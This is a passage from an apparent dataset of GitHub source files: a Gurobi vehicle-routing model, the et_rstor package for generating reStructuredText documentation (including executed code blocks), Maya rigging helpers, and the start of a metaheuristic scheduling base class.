vertice.ini_janela,\n GRB.LESS_EQUAL,\n local_ini_veic[i][ind_veiculo],\n name=nome_rest_0\n )\n\n nome_rest_1 = \"ini_servico_1_\"\n nome_rest_1 += str(ind_veiculo)\n nome_rest_1 += \"_\"\n nome_rest_1 += str(i)\n\n define_local_ini_pt_2[ind_veiculo][i][1] = modelo.addConstr(\n local_ini_veic[i][ind_veiculo],\n GRB.LESS_EQUAL,\n vertice.fim_janela,\n name=nome_rest_1\n )\n\n pickup_antes_delivery = {}\n for ind_veiculo in veiculos.keys():\n pickup_antes_delivery[ind_veiculo] = {}\n for i in pickups:\n nome_rest = \"pickup_antes_delivery_\"\n nome_rest += str(i)\n nome_rest += \"_\"\n nome_rest += str(ind_veiculo)\n par_delivery = vertices[i].par_delivery\n pickup_antes_delivery[ind_veiculo][i] = modelo.addConstr(\n local_ini_veic[i][ind_veiculo],\n GRB.LESS_EQUAL,\n local_ini_veic[par_delivery][ind_veiculo],\n name=nome_rest\n )\n\n\n\n ub_correto_pt_1 = {}\n\n for ind_veiculo, veiculo in veiculos.items():\n ub_correto_pt_1[ind_veiculo] = {}\n for i, v1 in vertices.items():\n ub_correto_pt_1[ind_veiculo][i] = {}\n for j, v2 in vertices.items():\n soma_esquerda = (\n ub_pos_serv[i][ind_veiculo]\n + v2.demanda\n )\n\n soma_direita = (\n (1 - aresta_veic[i][j][ind_veiculo])\n * M\n + ub_pos_serv[j][ind_veiculo]\n )\n\n nome_rest = \"define_ub_correto_pt_1\"\n nome_rest += str(ind_veiculo)\n nome_rest += \"_\"\n nome_rest += str(i)\n nome_rest += \"_\"\n nome_rest += str(j)\n\n ub_correto_pt_1[ind_veiculo][i][j] = modelo.addConstr(\n soma_esquerda,\n GRB.LESS_EQUAL,\n soma_direita,\n name=nome_rest\n ) \n\n\n\n ub_correto_pt_2 = {}\n\n for ind_veiculo in veiculos.keys():\n ub_correto_pt_2[ind_veiculo] = {}\n\n for i in vertices.keys(): \n nome_rest = \"\"\n nome_rest += \"ub_correto_pt_2_\"\n nome_rest += str(ind_veiculo)\n nome_rest += \"_\"\n nome_rest += str(i)\n\n ub_correto_pt_2[ind_veiculo][i] = modelo.addConstr(\n ub_pos_serv[i][ind_veiculo],\n GRB.LESS_EQUAL,\n veiculos[ind_veiculo].capacidade,\n name=nome_rest\n )\n\n ub_correto_pt_3 = {}\n for ind_veiculo, veiculo in veiculos.items():\n ub_correto_pt_3[ind_veiculo] = {}\n\n nome_rest_1 = \"\"\n nome_rest_1 += \"ini_fim_demanda_0_\"\n nome_rest_1 += str(ind_veiculo)\n\n ub_correto_pt_3[ind_veiculo][0] = modelo.addConstr(\n ub_pos_serv[veiculo.terminal_ini][ind_veiculo],\n GRB.EQUAL,\n 0,\n name=nome_rest_1\n )\n\n nome_rest_2 = \"\"\n nome_rest_2 += \"ini_fim_demanda_1_\"\n nome_rest_2 += str(ind_veiculo)\n\n ub_correto_pt_3[ind_veiculo][1] = modelo.addConstr(\n ub_pos_serv[veiculo.terminal_fim][ind_veiculo],\n GRB.EQUAL,\n 0,\n name=nome_rest_2\n )\n\n\ndef declara_restricoes_rota_trivial(\n modelo,\n ini_vertice, \n fim_vertice, \n veiculos, \n arestas_veic\n):\n n = min(len(veiculos)-1, fim_vertice-1)\n num_veic = random.randint(0, n)\n\n restricoes_rota_trivial = {}\n\n name_rest = \"\"\n name_rest += \"rota_trivial_\"\n name_rest += str(1)\n\n restricoes_rota_trivial[0] = modelo.addConstr(\n arestas_veic[ini_vertice][fim_vertice][num_veic],\n GRB.EQUAL,\n 0,\n name=name_rest\n )\n\n\n name_rest = \"\"\n name_rest += \"rota_trivial_\"\n name_rest += str(2)\n restricoes_rota_trivial[1] = modelo.addConstr(\n arestas_veic[fim_vertice][ini_vertice][num_veic],\n GRB.EQUAL,\n 0,\n name=name_rest\n ) \n\n\n\ndef declara_funcao_objetivo(modelo, vertices, matriz, veiculos, conj_vars):\n arestas_veic, local_ini_veic, ub_pos_serv, pedido_banco = conj_vars\n pickups, deliveries, depoistos = separa_conjuntos(vertices, veiculos)\n\n\n soma_1 = (\n quicksum(\n quicksum(\n quicksum(\n calc_dist(vertices[i], vertices[j]) * arestas_veic[i][j][k]\n for j in vertices.keys()\n )\n for i in vertices.keys()\n )\n for k in veiculos.keys()\n )\n )\n\n soma_2 = (\n quicksum(\n local_ini_veic[veiculo.terminal_fim][k] \n - vertices[veiculo.terminal_ini].ini_janela\n for k, veiculo in veiculos.items()\n )\n )\n\n soma_3 = (\n quicksum(\n pedido_banco[i]\n for i in pickups\n )\n )\n\n alfa = 1\n beta = 1\n lamb = 1000\n\n modelo.setObjective(\n (\n alfa * soma_1 \n + beta * soma_2 \n + lamb * soma_3\n ),\n GRB.MINIMIZE\n )\n\n\ndef cria_modelo(vertices, matriz, veiculos, time_limit):\n\n modelo = Model(\"modelo_pdjt\")\n\n modelo.setParam(\"TimeLimit\", time_limit)\n modelo.setParam(\"Threads\", 6)\n\n conjunto_variaveis = declara_variaveis(modelo, vertices, veiculos.keys())\n\n declara_restricoes(modelo, vertices, matriz, veiculos, conjunto_variaveis)\n \n declara_funcao_objetivo(modelo, vertices, matriz, veiculos, \n conjunto_variaveis)\n\n modelo.write(\"teste_modelo.lp\")\n\n\n return modelo\n\n\ndef cria_modelo_feasibility_pump(\n modelo_anterior, \n solucao_int_anterior, \n vertices, \n matriz, \n veiculos, \n time_limit\n):\n\n solucao_anterior = modelo_anterior.getVars()\n\n modelo = Model(\"modelo_feasibility_pump\")\n modelo.setParam(\"TimeLimit\", time_limit)\n modelo.setParam(\"Threads\", 6)\n\n conj_vars = declara_variaveis(modelo, vertices, veiculos)\n arestas_veic, local_ini_veic, ub_pos_serv, pedido_banco = conj_vars\n\n\n soma = 0\n\n for i in range(len(solucao_anterior)):\n nome_var = solucao_anterior[i].varName\n if (\"aresta\" in nome_var):\n nome_var_separado = nome_var.split(\"_\")\n v1 = int(nome_var_separado[1])\n v2 = int(nome_var_separado[2])\n veic = int(nome_var_separado[3])\n\n if (solucao_int_anterior[nome_var] == 0):\n soma += arestas_veic[v1][v2][veic]\n \n if (solucao_int_anterior[nome_var] == 1):\n soma += (1 - arestas_veic[v1][v2][veic])\n\n continue\n if (\"local_inicio\" in nome_var):\n continue\n if (\"ub_apos_servico\" in nome_var):\n continue\n if (\"pedido_no_banco\" in nome_var):\n nome_var_separado = nome_var.split(\"_\")\n pos = int(nome_var_separado[-1])\n\n if (solucao_int_anterior[nome_var] == 0):\n soma += pedido_banco[pos]\n \n if (solucao_int_anterior[nome_var] == 1):\n soma += (1 - pedido_banco[pos])\n continue\n\n pickups, deliveries, depoistos = separa_conjuntos(vertices, veiculos)\n soma_2 = (\n quicksum(\n pedido_banco[i]\n for i in pickups\n )\n )\n\n soma_3 = (\n quicksum(\n quicksum(\n local_ini_veic[i][k]\n for k in veiculos.keys()\n )\n for i in vertices.keys()\n )\n )\n\n soma_4 = (\n quicksum(\n quicksum(\n ub_pos_serv[i][k]\n for k in veiculos.keys()\n )\n for i in vertices.keys()\n )\n )\n\n modelo.setObjective(\n (\n 2*soma\n + 100*soma_3\n - 0.00001*soma_4\n ),\n GRB.MINIMIZE\n )\n\n\n declara_restricoes(modelo, vertices, matriz, veiculos, conj_vars)\n\n declara_restricoes_rota_trivial(\n modelo,\n vertices[0].idx, \n vertices[vertices[0].par_delivery].idx, \n veiculos, \n arestas_veic\n )\n\n modelo.write(\"fp.lp\")\n\n return modelo","repo_name":"thuzax/PM-2020","sub_path":"projeto-final/modelo.py","file_name":"modelo.py","file_ext":"py","file_size_in_byte":17931,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"24829797912","text":"# -*- coding: utf-8 -*-\n\"\"\"\nPackage et_rstor\n================\n\nA package for generating .rst documents with Python commands.\n\n\"\"\"\n\nfrom pathlib import Path\nimport subprocess\nimport shutil\nimport re\nfrom contextlib import redirect_stdout, redirect_stderr, contextmanager\nimport io\nimport sys\nimport os\nimport traceback\n\n__version__ = \"1.2.0\"\n\n####################################################################################################\n# RstDocument\n####################################################################################################\nclass RstDocument:\n\n def __init__( self, name\n , headings_numbered_from_level=None\n , is_default_document=False\n , verbose=True\n , width=72\n ):\n \"\"\"Create a RstDocument.\n\n :param str name: name of the document, used as a filename for writing the document.\n :param int width: used by TextWrapper to convert long strings into lines.\n :param in_range(6) headings_numbered_from_level: heading level from which numbering will be used.\n :param bool is_default_document: if True any RstItem created without specifying a document will\n automatically be added to this RstDocument.\n \"\"\"\n self.items = []\n self.name = name\n\n self.heading_numbers = 6*[-1]\n self.headings_numbered_from_level = 6 # = no numbering of headings\n\n self.width = width\n self.set_textwrapper()\n\n if headings_numbered_from_level < 6:\n self.headings_numbered_from_level = headings_numbered_from_level\n for l in range(headings_numbered_from_level,6):\n self.heading_numbers[l] = 0\n\n if is_default_document:\n RstItem.default_document = self\n\n self.verbose = verbose\n\n self.rst = ''\n\n\n def append(self, item):\n \"\"\"Append an Rstitem item to this RstDocument.\"\"\"\n self.items.append(item)\n\n def set_textwrapper(self, textwrapper=None):\n \"\"\"Set a TextWrapper object for the RstDocument\"\"\"\n if textwrapper is None:\n self.textwrapper = TextWrapper(width=self.width)\n elif isinstance(textwrapper,TextWrapper):\n self.textwrapper = textwrapper\n else:\n raise ValueError('Argument must be a TextWrapper object.')\n\n\n def rstor(self):\n \"\"\"Concatenate all RstItems\"\"\"\n self.rst = ''\n for item in self.items:\n self.rst += item.rst\n\n\n # def __str__(self):\n # if not self.rst:\n # self.rstor()\n # return self.rst\n\n\n def write(self, path='.'):\n \"\"\"Write the document to a file.\n\n :param (Path,str) path: directory to create the file in.\n \"\"\"\n if not self.rst:\n self.rstor()\n p = path / f'{self.name}.rst'\n with p.open(mode='w') as f:\n f.write(self.rst)\n\n\n####################################################################################################\n# Base classes\n####################################################################################################\nclass RstItem():\n \"\"\"Base class for items to be added to an RstDocument.\n\n Derived classes must:\n\n * call ``self.rstor()`` at the end of the ctor.\n * reimplement :py:meth:`rstor()`\n\n :param RstDocument document: document to append this RstItem to.\n \"\"\"\n default_document = None\n\n def __init__(self, document):\n \"\"\"Create an RstItem and add it to document (if not None).\"\"\"\n if document:\n self.document = document\n elif RstItem.default_document:\n self.document = RstItem.default_document\n else:\n self.document = None\n\n if self.document:\n self.document.append(self)\n\n\n def show_progress(self):\n if self.document.verbose:\n print(f\"\\nrstor> {self.__class__.__name__}\")\n print(f\"$$$$$$\\n{self.rst}$$$$$$\\n\")\n\n\n def rstor(self):\n \"\"\"Convert RstItem content to ``.rst`` format.\n\n This method must be implemented by every derived class.\n \"\"\"\n raise NotImplementedError()\n\n\n # def __str__(self):\n # if not self.rst:\n # self.rstor()\n # return self.rst\n\n####################################################################################################\n# Heading\n####################################################################################################\nclass Heading(RstItem):\n \"\"\"Heading item.\n\n See https://www.sphinx-doc.org/en/master/usage/restructuredtext/basics.html#sections\n for standard.\n\n :param int level: 0-5.\n :param str text: heading text.\n \"\"\"\n parameters = [('#',True)\n ,('*',True)\n ,('=',False)\n ,('-',False)\n ,('^',False)\n ,('\"',False)\n ]\n\n def __init__(self, heading, level=0, val=None, crosslink='', document=None):\n super().__init__(document=document)\n self.parms = Heading.parameters[level]\n\n self.heading = heading.replace('\\n', ' ')\n if level >= self.document.headings_numbered_from_level:\n if val is None:\n self.document.heading_numbers[level] += 1\n else:\n self.document.heading_numbers[level] = val\n for l in range(level+1,6):\n self.document.heading_numbers[l] = 0\n numbering = ''\n for l in range(self.document.headings_numbered_from_level,level+1):\n numbering += f'{self.document.heading_numbers[l]}.'\n self.heading = f\"{numbering} {self.heading}\"\n\n self.crosslink = crosslink\n\n self.rstor()\n self.show_progress()\n\n\n def rstor(self):\n self.rst = ''\n if self.crosslink:\n self.rst += f'.. _{self.crosslink}:\\n\\n'\n\n n = len(self.heading)\n underline = n * self.parms[0]\n if self.parms[1]:\n self.rst += f'{underline}\\n' \\\n f'{self.heading}\\n' \\\n f'{underline}\\n\\n'\n else:\n self.rst += f'{self.heading}\\n' \\\n f'{underline}\\n\\n'\n\n\n####################################################################################################\n# Paragraph\n####################################################################################################\nclass Paragraph(RstItem):\n def __init__(self, text, width=72, indent=0, document=None):\n super().__init__(document=document)\n self.text = text\n self.width = width\n self.indent = indent*' '\n self.rstor()\n self.show_progress()\n\n\n def rstor(self):\n lines = self.document.textwrapper.wrap(self.text)\n self.rst = ''\n for line in lines:\n self.rst += f'{self.indent}{line}\\n'\n self.rst += '\\n'\n\n\n####################################################################################################\n# Note\n####################################################################################################\nclass Note(RstItem):\n def __init__(self, text, document=None):\n super().__init__(document=document)\n self.paragraphs = listify(text)\n self.rstor()\n self.show_progress()\n\n\n def rstor(self):\n self.rst = '.. note::\\n\\n'\n for paragraph in self.paragraphs:\n lines = self.document.textwrapper.wrap(paragraph)\n for line in lines:\n self.rst += f' {line}\\n'\n self.rst += '\\n'\n\n\n####################################################################################################\n# Include\n####################################################################################################\nclass Include(RstItem):\n def __init__(self, filename, document=None):\n super().__init__(document=document)\n self.include_file = filename\n self.rstor()\n self.show_progress()\n\n\n def rstor(self):\n self.rst = f'.. include:: {self.include_file}\\n\\n'\n\n\n####################################################################################################\n# Image\n####################################################################################################\nclass Image(RstItem):\n def __init__(self, filepath, document=None):\n super().__init__(document=document)\n self.filepath = filepath\n self.rstor()\n self.show_progress()\n\n\n def rstor(self):\n self.rst = f'.. image:: {self.filepath}\\n\\n'\n\n\n####################################################################################################\n# List\n####################################################################################################\nclass List(RstItem):\n def __init__(self, items, numbered=False, indent=0, document=None):\n \"\"\"List item, bullets or numbered\"\"\"\n super().__init__(document=document)\n self.items = listify(items)\n self.numbered = numbered\n self.indent = indent*' '\n self.rstor()\n self.show_progress()\n\n\n def rstor(self):\n bullet, indent2 = ('#.',' ') if self.numbered else ('*',' ')\n self.rst = ''\n for item in self.items:\n lines = self.document.textwrapper.wrap(item)\n self.rst += f'{self.indent}{bullet} {lines[0]}\\n'\n for line in lines[1:]:\n self.rst += f'{self.indent}{indent2} {line}\\n'\n self.rst += '\\n'\n\n\n####################################################################################################\n# CodeBlock\n####################################################################################################\nclass CodeBlock(RstItem):\n \"\"\"Rst code-block directive.\n\n :param lines: command or list of commands\n :param str language: language of the commands\n :param bool execute: if True, execute the commands and add the output to the text. If False\n the lines are printed literally, no prompt is added.\n :param bool error_ok: if True, exceptions raised will be absorbed by the .rst text instead\n of propagated to Python (which will abort the script)\n :param str prompt: prompt to appear in front of the commands or statements, ignored if execute==False.\n :param indent: indentation of the code-block. default=4\n :param Path copyto: copy the code to this file.\n :param bool append: append the code to the copyto destination instead of overwriting.\n :param callable() setup: function that has to be executed before the command lines.\n :param callable() cleanup: function that has to be executed before the command lines.\n\n .. warning::\n\n language=='pycon': if a module has been modified it must be reloaded (importlib.reload).\n However, reloading a binary extension does not work. the CodeBlock must be executed in\n a separate Python session.\n \"\"\"\n\n default_prompts = { 'bash': '> '\n , 'python': ''\n , 'pycon': '>>> '\n }\n\n def __init__( self\n , lines=[]\n , language=''\n , execute=False\n , cwd='.'\n , error_ok=False\n , stdout=True\n , stderr=True\n , hide=False\n , indent=4\n , prompt=None\n , copyto=None, append=False\n , copyfrom=None, filter=None\n , setup=None, cleanup=None\n , document = None\n ):\n super().__init__(document=document)\n self.lines = listify(lines)\n self.language = language\n\n if prompt is None:\n self.prompt = CodeBlock.default_prompts.get(language,'')\n else:\n self.prompt = prompt\n\n self.indent = indent*' '\n self.execute = execute\n self.cwd = cwd\n self.error_ok = error_ok\n self.stdout = stdout\n self.stderr = stderr\n self.hide = hide\n self.copyto = copyto\n self.copyfrom = copyfrom\n self.filter = filter\n self.append = append\n self.setup = setup\n self.cleanup = cleanup\n\n if self.document.verbose:\n print(f\"\\nrstor> {self.__class__.__name__}{' (hidden)' if self.hide else ''}\")\n\n self.rstor()\n\n if self.document.verbose and not self.hide:\n print(f\"$$$$$$\\n{self.rst}$$$$$$\\n\")\n\n\n def rstor(self):\n self.rst = ''\n\n if not self.hide:\n self.rst = f'.. code-block:: {self.language}\\n\\n'\n\n if self.copyfrom:\n with self.copyfrom.open(mode='r') as f:\n self.lines = f.readlines()\n # Remove trailing newlines and withspace\n for l,line in enumerate(self.lines):\n self.lines[l] = line.rstrip()\n if self.filter:\n self.lines = self.filter(self.lines)\n\n if self.execute:\n if not self.language:\n self.language='bash' # default\n\n if self.setup:\n self.setup()\n if self.language == 'bash':\n for line in self.lines:\n print(f\"{self.language}@ {line}\")\n if not self.hide:\n self.rst += f'{self.indent}{self.prompt}{line}\\n'\n # execute the command and add its output\n self.stdout = subprocess.PIPE if self.stdout else None\n self.stderr = subprocess.STDOUT if self.stderr else None\n completed_process = subprocess.run( line\n , cwd=self.cwd\n , stdout=self.stdout\n , stderr=self.stderr\n , shell=True\n )\n output = completed_process.stdout.decode('utf-8')\n if not self.hide:\n if self.indent:\n output = self.indent + output.replace('\\n', '\\n'+self.indent)\n self.rst += output+'\\n'\n\n if completed_process.returncode and not self.error_ok:\n print(output)\n raise RuntimeError()\n\n elif self.language == 'pycon':\n sys.path.insert(0,'.')\n # print(self.cwd)\n with in_directory(self.cwd):\n output = ''\n for line in self.lines:\n print(f\"{self.language}@ {line}\") # show progress\n hide_line = '#hide#' in line\n hide_stdout = '#hide_stdout#' in line\n hide_stderr = '#hide_stderr#' in line\n str_stdout = io.StringIO()\n str_stderr = io.StringIO()\n with redirect_stderr(str_stderr):\n with redirect_stdout(str_stdout):\n if not hide_line:\n output += f\"{self.prompt}{line}\\n\"\n try:\n exec(line)\n except:\n if self.error_ok:\n print(traceback.format_exc())\n else:\n raise\n o = str_stdout.getvalue()\n if o and not hide_stdout:\n output += o\n e = str_stderr.getvalue()\n if e and not hide_stderr:\n output += e\n\n # indent the output if necessary\n if self.indent:\n output = self.indent + output.replace('\\n', '\\n' + self.indent)\n\n self.rst += output\n\n else:\n raise NotImplementedError()\n\n if self.cleanup:\n self.cleanup()\n else:\n self.rst = f'.. code-block:: {self.language}\\n\\n'\n for line in self.lines:\n if not line.endswith('#hide#'):\n self.rst += f'{self.indent}{self.prompt}{line}\\n'\n\n self.rst += '\\n'\n\n if self.copyto :\n self.copyto.parent.mkdir(parents=True,exist_ok=True)\n mode = 'a+' if self.append else 'w'\n with self.copyto.open(mode=mode) as f:\n for line in self.lines:\n f.write(line + '\\n')\n\n\n\nclass Table(RstItem):\n \"\"\" Table class\n\n :param list-of-lists rows: a list of rows, each row being a list as well. First row is\n title row.\n \"\"\"\n def __init__(self\n , rows\n , document=None\n ):\n super().__init__(document=document)\n self.rows = rows\n self.indent = 4*' '\n self.rstor()\n self.show_progress()\n\n def rstor(self):\n self.rst = ''\n nrows = len(self.rows)\n ncols = len(self.rows[0])\n for row in self.rows[1:]:\n if len(row) != ncols:\n raise ValueError('all rows must have the same number of columns')\n # Convert rows to str and find out the width of each column\n wcol = ncols*[0]\n for row in self.rows:\n for c,val in enumerate(row):\n sval = str(val)\n row[c] = sval\n w = len(sval)\n wcol[c] = max(w,wcol[c])\n # Insert lines\n self.rows.insert(0, [])\n self.rows.insert(2, [])\n self.rows.append([])\n for c in range(ncols):\n line = wcol[c]*'='\n self.rows[ 0].append(line)\n self.rows[ 2].append(line)\n self.rows[-1].append(line)\n # compile table in rst format:\n for row in self.rows:\n self.rst += '\\n' + self.indent\n for c,val in enumerate(row):\n self.rst += val.ljust(wcol[c]+2)\n\n self.rst += '\\n\\n'\n\n\n####################################################################################################\n# Utilities\n####################################################################################################\ndef listify(obj,types=str):\n \"\"\"If obj is a list verify that the type of its items are in types. Otherwise verify that the\n type of obj is in types, and put obj in a list.\n\n Raises ValueError if the type of obj is not in types or if obj is a list and not all its items\n have a type in types.\n\n :param obj: an object.\n :param tuple types: tuple of accepted types.\n :return: list of objects whose type is in types\n \"\"\"\n if isinstance(obj, list):\n pass\n elif isinstance(obj, types):\n obj = [obj]\n else:\n raise ValueError(f'Expecting type {types}, or list of {types}, got {type(obj)}.')\n\n # Validate\n for i,item in enumerate(obj):\n if not isinstance(item, types):\n raise ValueError(f'Item {i} must be of type {types}.')\n\n return obj\n\nclass RemoveDir:\n def __init__(self, cwd, dir, document=None):\n self.cwd = Path(cwd)\n self.pdir = self.cwd / dir\n\n def __call__(self):\n if self.pdir.is_dir():\n shutil.rmtree(self.pdir)\n\n\ndef package_name_of(project_name):\n \"\"\"\n :param str project_name:\n \"\"\"\n return project_name.lower().replace('-','_')\n\n\nclass TextWrapper:\n \"\"\"Our own TextWrapper class.\n\n textwrapper.TextWrapper is not able to keep inline formatted strings\n together. E.g.::\n\n Part of this text appears in **bold face**.\n\n textwrapper.TextWrapper will first detect the words::\n\n 'Part', 'of', 'this', 'text', 'appears', 'in', '**bold', 'face**.'\n\n and then combine them back into words.\n If the word '**bold' appears at the end of the line, there is a chance\n that the next word 'face**' will appear only on the next line, which\n destroys the intended formatting restructuredText.\n\n Patterns that need to be kept together:\n\n * '*italics text*\n * '**bold face text**'\n * ``inline monospace``\n * links: `text `_\n * things like :file:`may occasionally contain spaces`, are ignored for the time being.\n\n Note that these patterns may be followed with punctuation: . , : ; ... ? ! ) ] } ' \"\n \"\"\"\n patterns = \\\n ( ( re.compile(r\"\\A\\*(\\w+)\") , re.compile(r\"(\\w+)\\*([,.:;!?\\\"\\')}]?|(\\.\\.\\.))\\Z\") ) # italics\n , ( re.compile(r\"\\A\\*\\*(\\w+)\"), re.compile(r\"(\\w+)\\*\\*([,.:;!?\\\"\\')}]?|(\\.\\.\\.))\\Z\") ) # bold face\n , ( re.compile(r\"\\A``(\\w+)\") , re.compile(r\"(\\w+)``([,.:;!?\\\"\\')}]?|(\\.\\.\\.))\\Z\") ) # inline code sample\n , ( re.compile(r\"\\A`(\\w+)\") # hyperlink\n , re.compile(r\"<(((http|https)\\:\\/\\/)?[a-zA-Z0-9\\.\\/\\?\\:@\\-_=#]+\\.([a-zA-Z]){2,6}([a-zA-Z0-9\\.\\&\\/\\?\\:@\\-_=#])*)>`_([,.:;!?\\\"\\')}]?|(\\.\\.\\.))\\Z\") )\n )\n\n def __init__(self,width=72):\n \"\"\"\"\"\"\n self.width = width\n self.lookahead = 15\n\n def wrap(self, text):\n \"\"\"\"\"\"\n # split text in words\n words = text.split(' ')\n\n # join words that should not have been split\n n = len(words)\n i = 0\n while i < n:\n word0 = words[i]\n found = False\n for p in TextWrapper.patterns:\n if found:\n break\n m0 = p[0].match(word0)\n if m0:\n # begin of pattern found\n for j in range(1,self.lookahead+1):\n if i+j >= n:\n break\n word1 = words[i+j]\n m1 = p[1].match(word1)\n if m1:\n # end of pattern found, append all words to the wo\n words[i] = ' '.join(words[i:i+j+1])\n # pop the words that were appended to words[i]\n for k in range(j):\n words.pop(i+1)\n n -= 1\n found = True\n break\n # print(words[i]) # for debugging\n i += 1\n\n # build lines out of the words\n lines = []\n i = 0\n i0 = i\n space_left = self.width\n while i < n:\n word_len = len(words[i])\n if word_len > self.width: # a very long word\n if i0 < i:\n lines.append(' '.join(words[i0:i]))\n lines.append(words[i])\n # print(lines[-2])\n # print(lines[-1])\n i0 = i+1\n space_left = self.width\n else:\n space_left -= word_len\n if space_left < 0:\n lines.append(' '.join(words[i0:i]))\n # print(lines[-1])\n i0 = i\n space_left = self.width - word_len\n i += 1\n lines.append(' '.join(words[i0:]))\n return lines\n\n\n@contextmanager\ndef in_directory(path):\n \"\"\"Context manager for changing the current working directory while the body of the\n context manager executes.\n \"\"\"\n previous_dir = os.getcwd()\n os.chdir(str(path)) # the str method takes care of when path is a Path object\n try:\n yield os.getcwd()\n finally:\n os.chdir(previous_dir)\n","repo_name":"etijskens/et-rstor","sub_path":"et_rstor/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":23730,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"13046169444","text":"'''\nAuthor: Sang-tak Lee\nContact: chst27@gmail.com\nDate: 07/29/2015\n\nDescription:\nThis module is collection of functions in common usage.\n'''\n\nimport maya.cmds as cmds\nimport maya.mel as mel\nimport maya.OpenMaya as OpenMaya\n\n\ndef showHUD(widgetName, title, sectionNum = 2, blockNum = 0):\n\t'''\n\tThis function find available block and display hud.\n\t'''\n\ttry:\n\t\tcmds.headsUpDisplay(widgetName, s = sectionNum, b = blockNum, blockSize = 'large', label = title, labelFontSize = 'large')\n\texcept:\n\t\tblockNum += 1\n\t\tshowHUD(widgetName, title, blockNum)\n\n\ndef loadSel(wdgType, wdgName, *args):\n\t'''\n\tFill the text field with selected object.\n\t'''\n\tsel = cmds.ls(sl = True)[0]\n\n\teval('cmds.%s(\"%s\", e = True, text = sel)' %(wdgType, wdgName))\n\t\n\ndef populateTxtScrList(wdgType, wdgName, *args):\n\t'''\n\tPopulate text scroll list with selected objects.\n\t'''\n\tselList = cmds.ls(sl = True, fl = True)\n\n\titems = eval('cmds.%s(\"%s\", q = True, allItems = True)' %(wdgType, wdgName))\n\tif items:\n\t\teval('cmds.%s(\"%s\", e = True, removeAll = True)' %(wdgType, wdgName))\n\n\teval('cmds.%s(\"%s\", e = True, append = %s)' %(wdgType, wdgName, selList))\n\n\ndef matchConSel(driver, driven):\n\t'''\n\tMatch curve shape of target to source.\n\tSelect source and then target.\n\t'''\n\t# get number of cvs of source\n\tdegs = cmds.getAttr('%s.degree' %driver)\n\tspans = cmds.getAttr('%s.spans' %driver)\n\tcvs = degs + spans\n\t\n\tfor i in range(cvs):\n\t\t# get worldspace translate value of each cv\n\t\tcvTr = cmds.xform('%s.cv[%d]' %(driver, i), q = True, t = True, ws = True)\n\t\t\n\t\t# set opposite control's cvs\n\t\tcmds.xform('%s.cv[%d]' %(driven, i), t = (cvTr[0], cvTr[1], cvTr[2]), ws = True)\n\n\ndef parentShpInPlace(src, trg):\n\t'''\n\tParent source transform's shape to target transform node with no transition of the shape.\n\t'''\n\t# Keep source object for match target's shape\n\tsrcTmp = cmds.duplicate(src, n = src + '_tmp')[0]\n\n\t# Get source object's shape\n\tsrcShp = cmds.listRelatives(src, s = True)[0]\n\n\t# Parent shape to the target transform node\n\tcmds.parent(srcShp, trg, s = True, r = True)\n\n\t# Match shape with source object\n\tmatchConSel(srcTmp, trg)\n\n\tcmds.delete(srcTmp)\n\n","repo_name":"jasonbrackman/scripts","sub_path":"python/tak_utils.py","file_name":"tak_utils.py","file_ext":"py","file_size_in_byte":2127,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"31930569395","text":"#!/usr/bin/env python\n# ------------------------------------------------------------------------------------------------------%\n# Created by \"Thieu\" at 15:35, 06/01/2021 %\n# %\n# Email: nguyenthieu2102@gmail.com %\n# Homepage: https://www.researchgate.net/profile/Nguyen_Thieu2 %\n# Github: https://github.com/thieu1995 %\n# ------------------------------------------------------------------------------------------------------%\n\nfrom math import gamma\nfrom numpy import array, ptp, where, logical_and, power, sin, pi\nfrom numpy.random import uniform, normal, choice\nfrom time import time\nfrom copy import deepcopy\nfrom config import Config\nfrom model.scheduler.fitness import Fitness\nfrom utils.schedule_util import matrix_to_schedule\nfrom sys import exit\nimport matplotlib.pyplot as plt\nimport math\n\n\nclass Root:\n \"\"\"\n Base class for all models (single or multiple objective)\n \"\"\"\n ID_POS = 0\n ID_FIT = 1\n ID_LOCAL_POS = 2 # Personal best location\n ID_LOCAL_FIT = 3 # Personal best fitness\n\n EPSILON = 10E-10\n\n def __init__(self, problem=None, pop_size=10, epoch=2, func_eval=100000, lb=None, ub=None, verbose=True):\n self.problem = problem\n self.pop_size = pop_size\n self.epoch = epoch\n self.func_eval = func_eval\n self.lb = lb\n self.ub = ub\n self.verbose = verbose\n self.Fit = Fitness(problem)\n self.n_objs = 1\n\n def create_solution(self):\n while True:\n matrix = uniform(self.lb, self.ub, self.problem[\"shape\"])\n schedule = matrix_to_schedule(self.problem, matrix.astype(int))\n if schedule.is_valid():\n fitness = self.Fit.fitness(schedule)\n break\n return [matrix, fitness, matrix, fitness] # [solution, fit]\n\n def early_stopping(self, array, patience=5):\n if patience <= len(array) - 1:\n value = array[len(array) - patience]\n arr = array[len(array) - patience + 1:]\n check = 0\n for val in arr:\n if val < value:\n check += 1\n if check != 0:\n return False\n return True\n raise ValueError\n\n def get_index_roulette_wheel_selection(self, list_fitness: list):\n \"\"\" It can handle negative also. Make sure your list fitness is 1D-numpy array\"\"\"\n list_fitness = array(list_fitness)\n scaled_fitness = (list_fitness - min(list_fitness)) / ptp(list_fitness)\n minimized_fitness = 1.0 - scaled_fitness\n total_sum = sum(minimized_fitness)\n r = uniform(low=0, high=total_sum)\n for idx, f in enumerate(minimized_fitness):\n r = r + f\n if r > total_sum:\n return idx\n\n def get_indexes_k_tournament_selection(self, list_fitness: list, k=10):\n list_fitness = array(list_fitness)\n idx_list = choice(range(0, len(list_fitness)), k, replace=False)\n idx_list = [[idx, list_fitness[idx]] for idx in idx_list]\n idx_list = sorted(idx_list, key=lambda item: item[1]) # Sort by fitness\n return idx_list[0][0], idx_list[1][0] # Select two best fitness\n\n def amend_position_random(self, position=None):\n return where(logical_and(self.lb <= position, position <= self.ub), position, uniform(self.lb, self.ub))\n\n def get_current_worst(self, pop=None):\n if isinstance(pop, dict):\n pop_temp = deepcopy(pop.values())\n elif isinstance(pop, list):\n pop_temp = deepcopy(pop)\n else:\n exit()\n if Config.METRICS in Config.METRICS_MAX:\n current_worst = min(pop_temp, key=lambda x: x[self.ID_FIT])\n else:\n current_worst = max(pop_temp, key=lambda x: x[self.ID_FIT])\n return deepcopy(current_worst)\n\n def get_current_best(self, pop=None):\n if isinstance(pop, dict):\n pop_temp = deepcopy(pop.values())\n elif isinstance(pop, list):\n 